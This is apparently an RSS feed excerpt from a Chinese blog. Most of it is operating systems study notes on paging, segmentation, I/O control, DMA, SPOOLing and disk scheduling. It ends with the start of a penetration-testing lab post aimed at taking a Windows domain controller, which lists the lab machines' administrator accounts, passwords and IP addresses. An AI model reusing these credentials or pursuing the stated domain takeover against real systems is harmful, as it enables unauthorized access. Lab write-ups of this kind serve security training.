&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy45oyal75j30u013gjz9.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;分页和分段的主要区别&quot;&gt;分页和分段的主要区别&lt;/h3&gt;

&lt;p&gt;(1) 页是信息的物理单位，由于系统管理的需要。段则是信息的逻辑单位，它含有一组其意义相对完整的信息。分段的目的是为了能更好地满足用户的需要。&lt;/p&gt;

&lt;p&gt;(2) 页的大小固定且由系统决定，而段的长度却不固定，它由其完成的功能决定。&lt;/p&gt;

&lt;p&gt;(3) 分页的作业地址空间是一维的而分段的作业地址空间则是二维的，程序员在标识一个地址时，需给出段名和段内地址。&lt;/p&gt;

&lt;p&gt;(4)由于段是信息的逻辑单位，因此便于存贮保护和信息的共享，页的保护和共享受到限制。&lt;/p&gt;

&lt;h2 id=&quot;分段存储管理方式&quot;&gt;分段存储管理方式&lt;/h2&gt;

&lt;p&gt;==可重入代码==：又称为“纯代码”，是一种允许多个进程同时访问的代码。可重入代码是一种不允许任何进程对它进行修改的代码。&lt;/p&gt;

&lt;p&gt;分段系统中，实现代码的共享比在分页系统中容易。&lt;/p&gt;

&lt;p&gt;例如：不同进程共享代码长为160KB的文本编辑器。&lt;/p&gt;

&lt;h2 id=&quot;段页式存储管理方式&quot;&gt;段页式存储管理方式&lt;/h2&gt;

&lt;p&gt;引入&lt;/p&gt;

&lt;p&gt;分页和分段管理方式各有其优缺点，分页系统能有效提高内存的利用率，而分段则能更好地满足用户的需要，因此可以将两者结合成一种新的存储管理方式系统称为“段页式系统”。&lt;/p&gt;

&lt;p&gt;原理&lt;/p&gt;

&lt;p&gt;先将程序分成若干个段，再把每个段分成若干个页，并为每一个段赋予一个段名。&lt;/p&gt;

&lt;h1 id=&quot;第五章-虚拟存储器&quot;&gt;第五章 虚拟存储器&lt;/h1&gt;

&lt;h1 id=&quot;第六章-输入输出系统&quot;&gt;第六章 输入输出系统&lt;/h1&gt;

&lt;p&gt;I/O系统管理的主要对象是I/O设备和相应的设备控制器&lt;/p&gt;

&lt;p&gt;主要任务: 完成用户提出的I/O请求，提高I/O速率，以及提高设备的利用率，并能为更高层的进程方便地使用这些设备提供手段&lt;/p&gt;

&lt;h2 id=&quot;io系统的基本功能&quot;&gt;I/O系统的基本功能&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;隐藏物理设备的细节&lt;/p&gt;

    &lt;p&gt;仅向上层进程提供少量的、抽象的读/写命令&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;与设备的无关性&lt;/li&gt;
  &lt;li&gt;提高处理机和I/O设备的利用率&lt;/li&gt;
  &lt;li&gt;对I/O设备进行控制&lt;/li&gt;
  &lt;li&gt;确保对设备的正确共享&lt;/li&gt;
  &lt;li&gt;错误处理&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I/O设备的四种控制方式:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;采用轮询的可编程I/O方式&lt;/li&gt;
  &lt;li&gt;采用中断的可编程I/O方式&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;直接存储器的访问方式&lt;/p&gt;

    &lt;p&gt;(传输数据的基本单位:数据块，提高系统的利用率)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;I/O通道方式&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;io系统的层次结构和模型&quot;&gt;I/O系统的层次结构和模型&lt;/h2&gt;
&lt;h3 id=&quot;层次结构&quot;&gt;层次结构&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwly1fy50wzet6bj31gs0qw1af.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;io系统中各种模块之间的层次视图&quot;&gt;I/O系统中各种模块之间的层次视图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwly1fy50yip02jj30yo0h4mxz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy511p21ayj314c0oitql.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;io系统接口&quot;&gt;I/O系统接口&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;块设备接口: 以块为单位传输&lt;/li&gt;
  &lt;li&gt;流设备接口：字符设备接口&lt;/li&gt;
  &lt;li&gt;网络通信接口&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;io设备的类型&quot;&gt;I/O设备的类型&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;按传输速率分类：
     低速设备、中速设备、高速设备&lt;/li&gt;
  &lt;li&gt;按信息交换的单位分类：
     块设备、字符设备&lt;/li&gt;
  &lt;li&gt;按设备的共享属性分类：
     独占设备、共享设备、虚拟设备&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;设备控制器&quot;&gt;设备控制器&lt;/h2&gt;
&lt;h3 id=&quot;io设备与cpu之间的接口&quot;&gt;I/O设备与CPU之间的接口&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fy51c7kouxj312s0ciwg7.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;定义和概念&quot;&gt;定义和概念&lt;/h3&gt;

&lt;p&gt;==设备控制器是CPU和设备之间的一个接口,它接收从CPU发来的命令,控制I/O设备操作,实现主存和设备之间的数据传输。==&lt;/p&gt;

&lt;p&gt;控制器接受一条命令后，CPU可以转向其它工作，而设备控制器自行完成具体的I/O操作；当命令执行完毕后，控制器发出一个中断信号，以便OS重新获得CPU的控制权并检查执行结果&lt;/p&gt;

&lt;p&gt;设备控制器是一个可编址设备,当它连接多台设备时,则应具有多个设备地址&lt;/p&gt;

&lt;h3 id=&quot;设备控制器的基本功能&quot;&gt;设备控制器的基本功能&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;接收和识别命令&lt;/li&gt;
  &lt;li&gt;数据交换&lt;/li&gt;
  &lt;li&gt;标识和报告设备的状态&lt;/li&gt;
  &lt;li&gt;地址识别&lt;/li&gt;
  &lt;li&gt;数据缓冲&lt;/li&gt;
  &lt;li&gt;差错控制&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;设备控制器的组成&quot;&gt;设备控制器的组成&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy51gsdfksj31420icmzu.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;io通道&quot;&gt;I/O通道&lt;/h2&gt;
&lt;p&gt;==定义==：通道是独立于CPU的专门负责数据输入/输出传输工作的处理机，对外部设备实现统一管理，代替CPU对输入/输出操作进行控制，从而使输入，输出操作可与CPU并行操作。&lt;/p&gt;

&lt;p&gt;==引入通道的目的==：为了使CPU从I/O事务中解脱出来，同时为了提高CPU与设备，设备与设备之间的并行工作能力&lt;/p&gt;

&lt;p&gt;==通过执行通道程序来控制I/O操作==&lt;/p&gt;

&lt;p&gt;==指令类型单一，与CPU共享内存==&lt;/p&gt;

&lt;h3 id=&quot;通道类型&quot;&gt;通道类型&lt;/h3&gt;
&lt;h4 id=&quot;字节多路通道&quot;&gt;字节多路通道&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;字节多路通道以字节为单位传输信息，它可以分时地执行多个通道程序。当一个通道程序控制某台设备传送一个字节后，通道硬件就控制转去执行另一个通道程序，控制另一台设备传送信息，使所有的通道轮转一周&lt;/li&gt;
  &lt;li&gt;主要连接以字节为单位的低速I/O设备。如打印机，终端。&lt;/li&gt;
  &lt;li&gt;以字节为单位交叉传输，当一台传送一个字节后，立即转去为另一台传送字节&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;数组选择通道block-selector-channel&quot;&gt;数组选择通道（Block Selector Channel）&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;选择通道是以成组方式工作的，即每次传送一批数据，故传送速度很高。选择通道在一段时间内只能执行一个通道程序，只允许一台设备进行数据传输&lt;/li&gt;
  &lt;li&gt;当这台设备数据传输完成后，再选择与通道连接的另一台设备，执行它的相应的通道程序&lt;/li&gt;
  &lt;li&gt;主要连接磁盘，磁带等高速I/O设备&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;数组多路通道block-multiplexor-channel&quot;&gt;数组多路通道（Block Multiplexor Channel）&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;它结合了选择通道传送速度高和字节多路通道能进行分时并行操作的优点。它先为一台设备执行一条通道指令，然后自动转接，为另一台设备执行一条通道指令；主要连接高速设备&lt;/li&gt;
  &lt;li&gt;这样，对于连接多台磁盘机的数组多路通道，它可以启动它们同时执行移臂定位操作，然后，按序交叉地传输一批批数据。数据多路通道实际上是对通道程序采用多道程序设计的硬件实现&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;瓶颈问题&quot;&gt;“瓶颈”问题&lt;/h4&gt;
&lt;p&gt;解决问题的方法是增加设备到主机的通路而不增加通道：即把一个设备连接到多个控制器上，一个控制器连接到多个通道上&lt;/p&gt;

&lt;h2 id=&quot;中断机构和中断处理程序&quot;&gt;中断机构和中断处理程序&lt;/h2&gt;
&lt;h3 id=&quot;中断和陷入&quot;&gt;中断和陷入&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwgy1fy5283c6s5j31600ha0uz.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;中断向量表和中断优先级&quot;&gt;中断向量表和中断优先级&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://ws1.sinaimg.cn/large/006tNbRwgy1fy52arljwlj316u0gvace.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;对多中断源的处理方式&quot;&gt;对多中断源的处理方式&lt;/h3&gt;
&lt;p&gt;屏蔽（禁止）中断、嵌套中断&lt;/p&gt;

&lt;h2 id=&quot;中断处理程序&quot;&gt;中断处理程序&lt;/h2&gt;

&lt;p&gt;当一个进程请求I/O操作时，该进程将被挂起，直到I/O设备完成I/O操作后，设备控制器便向CPU发送一个中断请求，CPU响应后便转向中断处理程序，中断处理程序执行相应的处理，处理完后解除相应进程的阻塞状态&lt;/p&gt;

&lt;h3 id=&quot;处理过程&quot;&gt;处理过程&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;测定是否有未响应的中断信号&lt;/li&gt;
  &lt;li&gt;保护被中断进程的CPU环境&lt;/li&gt;
  &lt;li&gt;转入相应的设备处理程序&lt;/li&gt;
  &lt;li&gt;中断处理&lt;/li&gt;
  &lt;li&gt;恢复CPU的现场并退出中断&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;设备驱动程序&quot;&gt;设备驱动程序&lt;/h2&gt;
&lt;h3 id=&quot;定义主要任务&quot;&gt;定义、主要任务&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;设备驱动程序:是I/O进程与设备控制器之间的通信程序&lt;/li&gt;
  &lt;li&gt;主要任务: 接收上层软件发来的抽象I/O要求，再把它转换为具体要求后，发送给设备控制器，启动设备区执行；反之，它也将由设备控制器发来的信号传送给上层软件&lt;/li&gt;
  &lt;li&gt;设备驱动程序包括与设备相关的代码，它的工作是：把用户提交的逻辑I/O请求转化为物理I/O操作的启动和执行，如设备名转化为端口地址、逻辑记录转化为物理记录、逻辑操作转化为物理操作等&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;设备驱动程序的功能&quot;&gt;设备驱动程序的功能&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;将接收到的抽象要求转换为具体要求；&lt;/li&gt;
  &lt;li&gt;检查用户I/O请求的合法性，了解I/O设备的状态，传递有关参数，设置设备的工作方式；&lt;/li&gt;
  &lt;li&gt;发出I/O命令，启动分配到的I／O设备，完成指定的I／O操作；&lt;/li&gt;
  &lt;li&gt;及时响应由控制器或通道发来的中断请求，并根据其中断类型调用相应的中断处理程序进行处理；&lt;/li&gt;
  &lt;li&gt;对于设置有通道的计算机系统，驱动程序还应能够根据用户的I/O请求，自动地构成通道程序&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;设备驱动程序的特点&quot;&gt;设备驱动程序的特点&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;驱动程序主要是指在请求I/O的进程与设备控制器之间的一个通信和转换程序。&lt;/li&gt;
  &lt;li&gt;驱动程序与设备控制器和I/O设备的硬件特性紧密相关， 因而对不同类型的设备应配置不同的驱动程序。&lt;/li&gt;
  &lt;li&gt;驱动程序与I/O设备所采用的I/O控制方式紧密相关。&lt;/li&gt;
  &lt;li&gt;由于驱动程序与硬件紧密相关， 因而其中的一部分必须用汇编语言书写。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;设备处理方式&quot;&gt;设备处理方式&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;为每一类设备设置一个进程，专门用于执行这类设备的I/O操作 .&lt;/li&gt;
  &lt;li&gt;在整个系统中设置一个I/O进程，专门用于执行系统中所有各类设备的I/O操作。&lt;/li&gt;
  &lt;li&gt;不设置专门的设备处理进程，而只为各类设备设置相应的设备处理程序(模块)， 供用户进程或系统进程调用。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;设备驱动程序的处理过程&quot;&gt;设备驱动程序的处理过程&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;将抽象要求转换为具体要求&lt;/li&gt;
  &lt;li&gt;检查I/O请求的合法性&lt;/li&gt;
  &lt;li&gt;读出和检查设备的状态&lt;/li&gt;
  &lt;li&gt;传送必要的参数&lt;/li&gt;
  &lt;li&gt;工作方式的设置&lt;/li&gt;
  &lt;li&gt;启动I/O设备&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;io设备的控制方式&quot;&gt;==I/O设备的控制方式==&lt;/h3&gt;
&lt;h4 id=&quot;宗旨&quot;&gt;宗旨&lt;/h4&gt;

&lt;p&gt;尽量减少主机对I/O控制的干预，把主机从繁杂的I/O控制事务中解脱出来，以便更多地去完成数据处理任务&lt;/p&gt;

&lt;h4 id=&quot;使用轮询的可编程io方式&quot;&gt;使用轮询的可编程I/O方式&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;在这种方式下，输入输出指令或询问指令测试一台设备的忙闲标志位，决定主存储器和外围设备是否交换一个字符或一个字&lt;/li&gt;
  &lt;li&gt;一旦CPU启动I/O设备，便不断查询I/O设备的准备情况，终止原程序的执行，浪费CPU时间；&lt;/li&gt;
  &lt;li&gt;I/O准备就绪后，CPU参与数据传送工作，而不能执行原程序，&lt;/li&gt;
  &lt;li&gt;CPU和I/O设备串行工作，使主机不能充分发挥效率，外围设备也不能得到合理使用，整个系统效率很低。&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;使用中断的可编程io方式&quot;&gt;使用中断的可编程I/O方式&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;CPU启动I/O设备后，不必查询I/O设备是否就绪，继续执行现行程序。&lt;/li&gt;
  &lt;li&gt;设备控制器按照命令要求去控制指定的I/O设备，当数据准备好后，即进入数据寄存器后，控制器通过控制线向CPU发送中断信号&lt;/li&gt;
  &lt;li&gt;I/O操作直接由CPU控制，每传送一个字符或字，要发生一次中断，仍然消耗大量CPU时间&lt;/li&gt;
  &lt;li&gt;不必忙式查询I/O准备情况，CPU和I/O设备可实现部分并行，与程序查询的串行工作方式相比，使CPU资源得到较充分利用&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;直接存储器dma访问方式&quot;&gt;==直接存储器(DMA)访问方式==&lt;/h4&gt;

&lt;p&gt;如果I/O设备能直接与主存交换数据而不占用CPU，CPU的利用率还可提高，这就出现了直接存储器存取DMA方式&lt;/p&gt;

&lt;p&gt;==特点==:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;数据传输的基本单位是数据块，在主机与I/O设备之间每次至少传递一个数据块；&lt;/li&gt;
  &lt;li&gt;所传送的数据块是从设备直接送入内存；&lt;/li&gt;
  &lt;li&gt;在传送一个或多个数据块的开始和结束才需CPU干预，传送过程是在控制器的控制下完成&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwgy1fy54r6esvjj30fs0g0aao.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;==DMA控制器的组成==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;主机与DMA控制器的接口&lt;/li&gt;
  &lt;li&gt;DMA控制器与块设备的接口&lt;/li&gt;
  &lt;li&gt;I/O控制逻辑&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==DMA工作流程==&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy54zgtpecj31020u0tr0.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;io通道控制方式&quot;&gt;I/O通道控制方式&lt;/h4&gt;

&lt;p&gt;I/O通道控制方式的引入&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;为获得CPU和外围设备间更高的并行工作能力，也为了让种类繁多，物理特性各异的外围设备能以标准的接口连接到系统中，计算机系统引入了自成独立体系的通道结构&lt;/li&gt;
  &lt;li&gt;由通道管理和控制I/O操作，减少了外围设备和CPU的逻辑联系。把CPU从琐碎的I/O操作中解放出来&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==与DMA方式的区别==&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;通道控制方式与DMA方式相类似，也是一种内存和设备直接进行数据交换的方式。与DMA方式不同的是，在通道控制方式中，数据传送方向、存放数据的内存始址及传送的数据块长度均由一个专门负责输入/输出的硬件——通道来控制。&lt;/li&gt;
  &lt;li&gt;另外，DMA方式每台设备至少需要一个DMA控制器，而通道控制方式中，一个通道可控制多台设备与内存进行数据交换&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;==通道程序==&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;操作码。&lt;/li&gt;
  &lt;li&gt;内存地址。&lt;/li&gt;
  &lt;li&gt;计数。&lt;/li&gt;
  &lt;li&gt;通道程序结束位P。&lt;/li&gt;
  &lt;li&gt;记录结束标志R。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;与设备无关的io软件&quot;&gt;与设备无关的I/O软件&lt;/h2&gt;
&lt;h3 id=&quot;设备独立性的概念&quot;&gt;设备独立性的概念&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;也称为设备无关性。 其基本含义是： 应用程序独立于具体使用的物理设备。&lt;/li&gt;
  &lt;li&gt;引入了逻辑设备和物理设备这两个概念&lt;/li&gt;
  &lt;li&gt;在应用程序中， 使用逻辑设备名称来请求使用某类设备；而系统在实际执行时， 还必须使用物理设备名称。&lt;/li&gt;
  &lt;li&gt;系统须具有将逻辑设备名称转换为某物理设备名称的功能&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;设备独立性的好处&quot;&gt;设备独立性的好处&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;设备分配时的灵活性&lt;/li&gt;
  &lt;li&gt;易于实现I/O重定向&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;与设备无关的软件&quot;&gt;与设备无关的软件&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;设备驱动程序的统一接口&lt;/li&gt;
  &lt;li&gt;缓冲管理&lt;/li&gt;
  &lt;li&gt;差错控制&lt;/li&gt;
  &lt;li&gt;对独立设备的分配与回收&lt;/li&gt;
  &lt;li&gt;独立于设备的逻辑数据块&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;为什么要引入设备独立性如何实现设备独立性&quot;&gt;为什么要引入设备独立性？如何实现设备独立性？&lt;/h3&gt;
&lt;p&gt;引入设备独立性，可使应用程序独立于具体的物理设备，是设备分配具有灵活性。另外容易实现I/O重定向。
为了实现设备独立性，必须在设备驱动程序之上设置一层设备独立性软件，用来执行所有I/O设备的公用操作，并向用户层软件提供统一接口。关键是系统中必须设置一张逻辑设备表LUT用来进行逻辑设备到物理设备的映射，其中每个表目中包含了逻辑设备名、物理设备名和设备驱动程序入口地址三项；当应用程序用逻辑设备名请求分配I/O设备时，系统必须为它分配相应的物理设备，并在LUT中建立一个表目，以后进程利用该逻辑设备名请求I/O操作时，便可从LUT中得到物理设备名和驱动程序入口地址。&lt;/p&gt;

&lt;h3 id=&quot;设备分配&quot;&gt;设备分配&lt;/h3&gt;
&lt;h4 id=&quot;设备分配程序&quot;&gt;设备分配程序&lt;/h4&gt;
&lt;p&gt;物理设备名-&amp;gt;SDT(系统设备表)-&amp;gt;DCT(设备控制表)-&amp;gt;\
COCT(控制器控制表)-&amp;gt;CHCT(通道控制表)-&amp;gt;LUT(逻辑设备表)&lt;/p&gt;

&lt;h4 id=&quot;设备分配时应考虑的因素&quot;&gt;设备分配时应考虑的因素&lt;/h4&gt;
&lt;ol&gt;
  &lt;li&gt;设备的固有属性
    &lt;ul&gt;
      &lt;li&gt;独享设备。&lt;/li&gt;
      &lt;li&gt;共享设备。&lt;/li&gt;
      &lt;li&gt;虚拟设备。&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;设备分配算法
    &lt;ul&gt;
      &lt;li&gt;先来先服务。&lt;/li&gt;
      &lt;li&gt;优先级高者优先。&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;设备分配中的安全性
    &lt;ul&gt;
      &lt;li&gt;安全分配方式&lt;/li&gt;
      &lt;li&gt;不安全分配方式&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;独占设备的分配程序&quot;&gt;独占设备的分配程序&lt;/h3&gt;
&lt;h4 id=&quot;基本的设备分配程序&quot;&gt;基本的设备分配程序&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;分配设备&lt;/li&gt;
  &lt;li&gt;分配控制器&lt;/li&gt;
  &lt;li&gt;分配通道&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;设备分配程序的改进&quot;&gt;设备分配程序的改进&lt;/h4&gt;
&lt;ul&gt;
  &lt;li&gt;增加设备的独立性&lt;/li&gt;
  &lt;li&gt;考虑多通路情况&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;逻辑设备名到物理设备名映射的实现&quot;&gt;逻辑设备名到物理设备名映射的实现&lt;/h3&gt;
&lt;p&gt;为了实现设备的独立性，系统必须设置一张逻辑设备表(LUT)，\
用于将应用程序中所使用的逻辑设备名映射为物理设备名。&lt;/p&gt;

&lt;p&gt;LUT的设置问题:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;第一种方式是在整个系统中只设置一张LUT。&lt;/li&gt;
  &lt;li&gt;第二种方式是为每个用户设置一张LUT。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;spooling技术假脱机系统&quot;&gt;SPOOLing技术——假脱机系统&lt;/h2&gt;
&lt;p&gt;SPOOLing：即同时联机外围操作，又称脱机操作。在多道程序环境下，可利用多道程序中的一道程序，来模拟脱机的输入输出功能。即在联机条件下，将数据从输入设备传送到磁盘，或从磁盘传送到输出设备。&lt;/p&gt;

&lt;p&gt;组成: 输入井和输出井、输入缓冲区和输出缓冲区、输入进程和输出进程、井管理程序&lt;/p&gt;

&lt;p&gt;SPOOLing系统特点：提高了I/O的速度、将独占设备改造成共享设备、实现了虚拟设备功能。&lt;/p&gt;

&lt;p&gt;共享打印机——SPOOLing技术的典型实例&lt;/p&gt;

&lt;p&gt;打印机属于独享设备。 用SPOOLing技术转换为共享设备，提高设备的利用效率。
   用户请求打印后：
	1.输出进程在输出井中申请一个空闲磁盘块区， 并将要打印的数据送入其中。
	2.输出进程申请并填写一张空白的用户请求打印表，再将该表挂到请求打印队列上
	3. 打印机空闲时，首取第一张请求表，将数据从输出井传送到内存缓冲区，进行打印&lt;/p&gt;

&lt;h2 id=&quot;磁盘存储器的性能和调度&quot;&gt;磁盘存储器的性能和调度&lt;/h2&gt;
&lt;h3 id=&quot;磁盘的类型&quot;&gt;磁盘的类型&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;固定头磁盘:
每条磁道上都有一读/写磁头，所有的磁头都被装在一刚性磁臂中。可以并行读/写。&lt;/li&gt;
  &lt;li&gt;移动头磁盘:
每一个盘面仅配有一个磁头，也被装入磁臂中。仅能以串行方式读/写&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;磁盘访问时间&quot;&gt;磁盘访问时间&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy57l12g1sj30wd0u0b2a.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;磁盘调度&quot;&gt;磁盘调度&lt;/h3&gt;

&lt;p&gt;目标: 使磁盘的平均寻道时间最短&lt;/p&gt;

&lt;h4 id=&quot;先来先服务算法&quot;&gt;先来先服务算法&lt;/h4&gt;
&lt;p&gt;原理: 根据进程请求访问磁盘的先后次序进行调度&lt;/p&gt;

&lt;p&gt;优点: 公平，简单，每个进程的请求都能依次地得到处理，不会出现某一进程的请求长期得不到满足的情况&lt;/p&gt;

&lt;p&gt;缺点: 平均寻道时间较长&lt;/p&gt;

&lt;h4 id=&quot;最短寻道时间优先算法&quot;&gt;最短寻道时间优先算法&lt;/h4&gt;

&lt;p&gt;原理：选择有距当前磁头所在磁道最近的访问磁道的进程。&lt;/p&gt;

&lt;p&gt;优点: 比FCFS有更好的寻道性能&lt;/p&gt;

&lt;p&gt;缺点: 可能导致某个进程发生饥饿现象&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws3.sinaimg.cn/large/006tNbRwgy1fy585fwjaxj319x0u0ajr.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h4 id=&quot;scan算法电梯调度算法&quot;&gt;SCAN算法——电梯调度算法&lt;/h4&gt;

&lt;p&gt;原理：选择与当前磁头移动方向一致且距离最近的进程。&lt;/p&gt;

&lt;p&gt;优点：寻道性能较好避免出现“饥饿”现象&lt;/p&gt;

&lt;h4 id=&quot;循环扫描cscan算法&quot;&gt;循环扫描(CSCAN)算法&lt;/h4&gt;

&lt;p&gt;规定磁头单向移动。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ws2.sinaimg.cn/large/006tNbRwgy1fy588uqet2j31cp0u0dn9.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;
&lt;p&gt;&lt;img src=&quot;https://ws4.sinaimg.cn/large/006tNbRwgy1fy589nxgdkj30uo0kiq7d.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 13 Dec 2018 00:00:00 +0000</pubDate>
        <link>http://WaIdo.github.io/2018/12/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AD%A6%E4%B9%A0/</link>
        <guid isPermaLink="true">http://WaIdo.github.io/2018/12/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AD%A6%E4%B9%A0/</guid>
        
        <category>计算机操作系统</category>
        
        
      </item>
    
      <item>
        <title>内网渗透(实验)之域渗透深入弹shell开3389拿域控</title>
        <description>&lt;p&gt;&lt;a href=&quot;https://bbs.ichunqiu.com/thread-49988-1-1.html&quot;&gt;本文已首发于i春秋&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;实验目的：拿下一号机shell开3389远程登录&lt;/p&gt;

&lt;h1 id=&quot;拓扑图&quot;&gt;拓扑图&lt;/h1&gt;

&lt;p&gt;&lt;img src=&quot;https://upload-images.jianshu.io/upload_images/7216746-6c54cefb7f1bcedc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;a组&quot;&gt;A组&lt;/h2&gt;
&lt;p&gt;1号
账号：Administrator
密码：Jack@!@#&lt;/p&gt;

&lt;p&gt;ip：192.168.141.111&lt;/p&gt;

&lt;p&gt;2号
账号：ADMIN-PC/ADMIN
密码：123456hhhh.&lt;/p&gt;

&lt;p&gt;222.18.158.244:7771&lt;/p&gt;

&lt;p&gt;ip：192.168.141.138&lt;/p&gt;

&lt;p&gt;3号
域名：hiro.com&lt;/p&gt;

&lt;p&gt;管理员
账号：hiro\administrator
密码：hb123456,./$&lt;/p&gt;

&lt;p&gt;域用户
账号：hiro.com/user1
密码：hb123456,./$&lt;/p&gt;

&lt;p&gt;ip：192.168.141.100&lt;/p&gt;

&lt;p&gt;Tips
里面设了静态ip 要改一下
&lt;a href=&quot;http://waldo.com.cn/2018/10/20/配置Windows-Server-2012域控环境/&quot;&gt;已将加入过程总结&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;4号
账号:administrator
密码:Win@2003&lt;/p&gt;

&lt;p&gt;ip：192.168.141.114&lt;/p&gt;

&lt;p&gt;5号
账号：Administrator
密码：Win@2008&lt;/p&gt;

&lt;p&gt;ip：192.168.141.115&lt;/p&gt;

